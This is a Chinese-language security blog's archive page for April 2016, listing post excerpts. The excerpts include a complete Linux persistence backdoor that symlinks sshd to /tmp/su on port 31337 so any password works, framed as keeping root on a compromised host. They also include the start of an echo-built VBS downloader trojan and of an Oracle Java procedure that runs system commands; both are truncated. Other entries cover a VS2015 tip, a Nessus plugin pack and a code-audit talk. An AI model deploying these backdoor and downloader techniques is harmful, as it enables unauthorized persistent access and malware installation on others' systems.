2016年04月_niexinming

12月 11月 10月 09月 08月 07月 05月 04月 03月 02月 01月

原创 linux后门

如果你登陆到一台linux设备，并且拿到了了root权限，但是你不希望他丢，那么你要建立后门首先第一种方法：ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337登陆的方式是：ssh root@ip -p 31337密码随意这种方法不太稳定，经常会因为各种原因失效。第二种方法：[root@localhost

2016-04-25 01:31:57 2388

转载 echo写vbs下载者木马

1.文件下载(无回显) echo iLocal = LCase(WScript.Arguments(1)) >c://iget.vbsecho iRemote = LCase(WScript.Arguments(0)) >>c://iget.vbsecho Set xPost = CreateObject("Microsoft.XMLHTTP") >>c://iget.vbsec

2016-04-17 16:22:06 2042

原创利用oracle执行系统命令

c:\1.sqlcreate or replace and compilejava souRCe named "util"asimport java.io.*;import java.lang.*; public class util extends Object{public static int RunThis(String args){Runtime

2016-04-11 11:04:08 5946

原创 vs2015新建mvc的空模版项目

这个坑终于被我填了，啧啧首先打开vs2015文件->新建->项目然后：visual c#->asp.net web应用程序然后：选择模版选empty，下面【为下项添加文件夹和核心引用】勾选mvc点击确定就好

2016-04-05 20:47:53 17836 4

2019年11月最新nessus插件更新包.zip

2019年11月的nessus插件更新包,更新方式： Nessus离线升级用网页上传插件到远程服务器的方式容易网络中断导致更新不成功，可以把插件包上次到服务器后，执行/opt/nessus/sbin/nessuscli update 插件包文件路径

2019-11-22

kcon议题《python 动态代码审计》，我已经将上面的所提到的技术广泛的用在我自己的工作之中，为我自己节省了大量的时间和精力。并且通过比较多实践，我把一些繁琐的过程和步骤做了简化，也填了大大小小的坑。与此同时，我找到了公司内部产品中出现的大大小小的漏洞，虽然这些漏洞没办法分享出来，但是我希望大家能从我今天分享的议题中学到一些有用的东西。这个议题里面提到的有些技术也可以用到php，go，ruby等语言里面。后续我也会把这个ppt中内容发到我的博客中，如果大家有什么问题和想法，欢迎在csdn上私信我，或者在我的留言板中留言

2018-08-30